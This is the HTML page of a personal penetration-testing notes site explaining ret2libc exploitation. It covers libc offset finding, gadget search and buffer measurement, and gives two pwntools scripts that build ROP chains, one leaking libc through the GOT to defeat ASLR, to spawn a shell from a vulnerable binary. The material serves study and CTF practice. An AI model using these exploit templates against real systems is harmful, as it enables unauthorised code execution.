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< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
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< div class = "column column-3" >
< ul >
< li > < a href = "#ret2libc" > Ret2libc< / a > < ul >
< li > < a href = "#finding-something-to-execute" > Finding something to execute< / a > < / li >
< li > < a href = "#libc-finding-offsets" > libc -- Finding Offsets< / a > < ul >
< li > < a href = "#manually" > Manually< / a > < / li >
< li > < a href = "#measure-the-buffer" > Measure the Buffer< / a > < / li >
< / ul >
< / li >
< li > < a href = "#rop-creating-a-chain" > ROP -- Creating a Chain< / a > < ul >
< li > < a href = "#manually_1" > Manually< / a > < / li >
< / ul >
< / li >
< li > < a href = "#automated" > Automated< / a > < / li >
< li > < a href = "#example-without-aslr" > Example without ASLR< / a > < / li >
< li > < a href = "#example-with-aslr" > Example with ASLR< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "ret2libc" > Ret2libc< / h1 >
< ul >
< li >
< p > < a href = "https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc" > ir0nstone ret2libc< / a > < / p >
< / li >
< li >
< p > Check binary via< / p >
< ul >
< li > < code > checksec< / code > , PIE shows start address, RELRO shows permissions of r/w to got< / li >
< li > < code > file< / code > < / li >
< / ul >
< / li >
< li > Libc is affected by ASLR state of the machine, check via < code > cat /proc/sys/kernel/randomize_va_space< / code > < ul >
< li > Off = 0< / li >
< li > Partial = 1< / li >
< li > Full = 2< / li >
< / ul >
< / li >
< li > < code > got< / code > contains dynamically loaded functions< / li >
< li > < code > plt< / code > contains used loaded dynamical functions< / li >
< / ul >
< h2 id = "finding-something-to-execute" > Finding something to execute< / h2 >
< ul >
< li > Interesting stuff to call from inside libc< ul >
< li > < code > /bin/sh< / code > < / li >
< li > < code > system< / code > < / li >
< / ul >
< / li >
< / ul >
< h2 id = "libc-finding-offsets" > libc -- Finding Offsets< / h2 >
< ul >
< li > Find libc address at runtime via gbd< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > info sharedlibrary
< / code > < / pre > < / div >
< h3 id = "manually" > Manually< / h3 >
< ul >
< li > On target find < code > sh< / code > address inside libc< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > strings -a -t x /lib32/libc.so.6 < span class = "p" > |< / span > grep /bin/sh
< / code > < / pre > < / div >
< ul >
< li > Sub from < code > system< / code > address from inside libc< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > readelf -s /lib32/libc.so.6 < span class = "p" > |< / span > grep system
< / code > < / pre > < / div >
< h3 id = "measure-the-buffer" > Measure the Buffer< / h3 >
< ul >
< li > With gef< ul >
< li > < code > pattern create< / code > < / li >
< li > < code > run< / code > < / li >
< li > Use pattern< / li >
< li > < code > pattern search $< register> < / code > < / li >
< / ul >
< / li >
< / ul >
< h2 id = "rop-creating-a-chain" > ROP -- Creating a Chain< / h2 >
< ul >
< li > Creating a ROP chain to execute the < code > /bin/sh< / code > with parameters< / li >
< li > Check< ul >
< li > Architecture< / li >
< li > Calling convention< / li >
< / ul >
< / li >
< / ul >
< h3 id = "manually_1" > Manually< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > ROPgadget --binary < file> < span class = "p" > |< / span > grep rdi
< / code > < / pre > < / div >
< ul >
< li > Find < code > ret< / code > s, to put in front of rdi< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > objdump -d < file> < span class = "p" > |< / span > grep ret
< / code > < / pre > < / div >
< h2 id = "automated" > Automated< / h2 >
< ul >
< li > < a href = "https://github.com/xct/ropstar.git" > xct's ropstar< / a > < / li >
< / ul >
< h2 id = "example-without-aslr" > Example without ASLR< / h2 >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "kn" > from< / span > < span class = "nn" > pwn< / span > < span class = "kn" > import< / span > < span class = "o" > *< / span >
< span class = "n" > p< / span > < span class = "o" > =< / span > < span class = "n" > process< / span > < span class = "p" > (< / span > < span class = "s1" > ' < binary> ' < / span > < span class = "p" > )< / span >
< span class = "n" > cbase< / span > < span class = "o" > =< / span > < span class = "mi" > 0< / span > < span class = "n" > x< / span > < span class = "o" > < < / span > < span class = "n" > libc_base< / span > < span class = "o" > > < / span >
< span class = "n" > sys< / span > < span class = "o" > =< / span > < span class = "n" > cbase< / span > < span class = "o" > +< / span > < span class = "o" > < < / span > < span class = "n" > libc_system< / span > < span class = "o" > > < / span >
< span class = "n" > sh< / span > < span class = "o" > =< / span > < span class = "n" > cbase< / span > < span class = "o" > +< / span > < span class = "o" > < < / span > < span class = "n" > libc_shell< / span > < span class = "o" > > < / span >
< span class = "n" > rop_rdi< / span > < span class = "o" > =< / span > < span class = "o" > < < / span > < span class = "n" > found< / span > < span class = "n" > rop< / span > < span class = "n" > rdi< / span > < span class = "o" > > < / span >
< span class = "n" > rop_ret< / span > < span class = "o" > =< / span > < span class = "o" > < < / span > < span class = "n" > found< / span > < span class = "n" > rop< / span > < span class = "n" > ret< / span > < span class = "o" > > < / span >
< span class = "n" > payload< / span > < span class = "o" > =< / span > < span class = "sa" > b< / span > < span class = "s1" > ' A' < / span > < span class = "o" > *< / span > < span class = "o" > < < / span > < span class = "n" > count< / span > < span class = "o" > > < / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "sa" > b< / span > < span class = "s1" > ' B' < / span > < span class = "o" > *< / span > < span class = "mi" > 8< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > rop_ret< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > rop_rdi< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > sh< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > system< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "mh" > 0x0< / span > < span class = "p" > )< / span > < span class = "c1" > # end payload< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > recv< / span > < span class = "p" > ()< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > sendline< / span > < span class = "p" > (< / span > < span class = "n" > payload< / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > interactive< / span > < span class = "p" > ()< / span >
< / code > < / pre > < / div >
< h2 id = "example-with-aslr" > Example with ASLR< / h2 >
< ul >
< li > Create context< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "ch" > #!/usr/bin/env python3< / span >
< span class = "kn" > from< / span > < span class = "nn" > pwn< / span > < span class = "kn" > import< / span > < span class = "o" > *< / span >
< span class = "n" > context< / span > < span class = "o" > .< / span > < span class = "n" > binary< / span > < span class = "o" > =< / span > < span class = "n" > binary< / span > < span class = "o" > =< / span > < span class = "s1" > ' < binary> ' < / span >
< span class = "n" > elf< / span > < span class = "o" > =< / span > < span class = "n" > ELF< / span > < span class = "p" > (< / span > < span class = "n" > binary< / span > < span class = "p" > )< / span >
< span class = "n" > rop< / span > < span class = "o" > =< / span > < span class = "n" > ROP< / span > < span class = "p" > (< / span > < span class = "n" > elf< / span > < span class = "p" > )< / span >
< span class = "n" > libc< / span > < span class = "o" > =< / span > < span class = "n" > ELF< / span > < span class = "p" > (< / span > < span class = "s1" > ' /lib/x86_64-linux-gnu/libc.so.6' < / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > =< / span > < span class = "n" > process< / span > < span class = "p" > ()< / span >
< span class = "c1" > # ROP I, needed when ASL is enabled< / span >
< span class = "n" > payload< / span > < span class = "o" > =< / span > < span class = "sa" > b< / span > < span class = "s1" > ' A' < / span > < span class = "o" > *< / span > < span class = "mi" > 18< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > rop< / span > < span class = "o" > .< / span > < span class = "n" > find_gadget< / span > < span class = "p" > ([< / span > < span class = "s1" > ' pop rdi' < / span > < span class = "p" > ,< / span > < span class = "s1" > ' ret' < / span > < span class = "p" > ])[< / span > < span class = "mi" > 0< / span > < span class = "p" > ])< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > elf< / span > < span class = "o" > .< / span > < span class = "n" > got< / span > < span class = "o" > .< / span > < span class = "n" > gets< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > elf< / span > < span class = "o" > .< / span > < span class = "n" > plt< / span > < span class = "o" > .< / span > < span class = "n" > puts< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > elf< / span > < span class = "o" > .< / span > < span class = "n" > symbols< / span > < span class = "o" > .< / span > < span class = "n" > main< / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > recvline< / span > < span class = "p" > ()< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > sendline< / span > < span class = "p" > (< / span > < span class = "n" > payload< / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > recvline< / span > < span class = "p" > ()< / span >
< span class = "n" > leak< / span > < span class = "o" > =< / span > < span class = "n" > u64< / span > < span class = "p" > (< / span > < span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > recvline< / span > < span class = "p" > ()< / span > < span class = "o" > .< / span > < span class = "n" > strip< / span > < span class = "p" > ()< / span > < span class = "o" > .< / span > < span class = "n" > ljust< / span > < span class = "p" > (< / span > < span class = "mi" > 8< / span > < span class = "p" > ,< / span > < span class = "sa" > b< / span > < span class = "s1" > ' < / span > < span class = "se" > \0< / span > < span class = "s1" > ' < / span > < span class = "p" > ))< / span > < span class = "c1" > # ljust, pre padding for alignement< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > recvline< / span > < span class = "p" > ()< / span >
< span class = "n" > log< / span > < span class = "o" > .< / span > < span class = "n" > info< / span > < span class = "p" > (< / span > < span class = "sa" > f< / span > < span class = "s2" > " gets: < / span > < span class = "si" > {< / span > < span class = "nb" > hex< / span > < span class = "p" > (< / span > < span class = "n" > leak< / span > < span class = "p" > )< / span > < span class = "si" > }< / span > < span class = "s2" > " < / span > < span class = "p" > )< / span >
< span class = "n" > libc< / span > < span class = "o" > .< / span > < span class = "n" > address< / span > < span class = "o" > =< / span > < span class = "n" > leak< / span > < span class = "o" > -< / span > < span class = "n" > libc< / span > < span class = "o" > .< / span > < span class = "n" > symbols< / span > < span class = "o" > .< / span > < span class = "n" > gets< / span >
< span class = "n" > log< / span > < span class = "o" > .< / span > < span class = "n" > info< / span > < span class = "p" > (< / span > < span class = "sa" > f< / span > < span class = "s2" > " libc address: < / span > < span class = "si" > {< / span > < span class = "nb" > hex< / span > < span class = "p" > (< / span > < span class = "n" > libc< / span > < span class = "o" > .< / span > < span class = "n" > address< / span > < span class = "p" > )< / span > < span class = "si" > }< / span > < span class = "s2" > " < / span > < span class = "p" > )< / span > < span class = "c1" > # start address should be aligned< / span >
< span class = "c1" > # ROP II< / span >
< span class = "n" > payload< / span > < span class = "o" > =< / span > < span class = "sa" > b< / span > < span class = "s1" > ' A' < / span > < span class = "o" > *< / span > < span class = "mi" > 18< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > rop< / span > < span class = "o" > .< / span > < span class = "n" > find_gadget< / span > < span class = "p" > ([< / span > < span class = "s1" > ' pop rdi' < / span > < span class = "p" > ,< / span > < span class = "s1" > ' ret' < / span > < span class = "p" > ])[< / span > < span class = "mi" > 0< / span > < span class = "p" > ])< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "nb" > next< / span > < span class = "p" > (< / span > < span class = "n" > libc< / span > < span class = "o" > .< / span > < span class = "n" > search< / span > < span class = "p" > (< / span > < span class = "sa" > b< / span > < span class = "s1" > ' /bin/sh' < / span > < span class = "p" > )))< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > rop< / span > < span class = "o" > .< / span > < span class = "n" > find_gadget< / span > < span class = "p" > ([< / span > < span class = "s1" > ' ret' < / span > < span class = "p" > ])[< / span > < span class = "mi" > 0< / span > < span class = "p" > ])< / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p64< / span > < span class = "p" > (< / span > < span class = "n" > libc< / span > < span class = "o" > .< / span > < span class = "n" > symbols< / span > < span class = "o" > .< / span > < span class = "n" > system< / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > sendline< / span > < span class = "p" > (< / span > < span class = "n" > payload< / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > recvline< / span > < span class = "p" > ()< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > interactive< / span > < span class = "p" > ()< / span >
< / code > < / pre > < / div >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
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function linkClick(obj) {
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if (obj.open) {
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//console.log('open');
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if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
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sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
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} else {
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//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
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let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
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< / script >
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< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
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< script type = "text/x-mathjax-config" >
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MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
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< / body >
< / html >
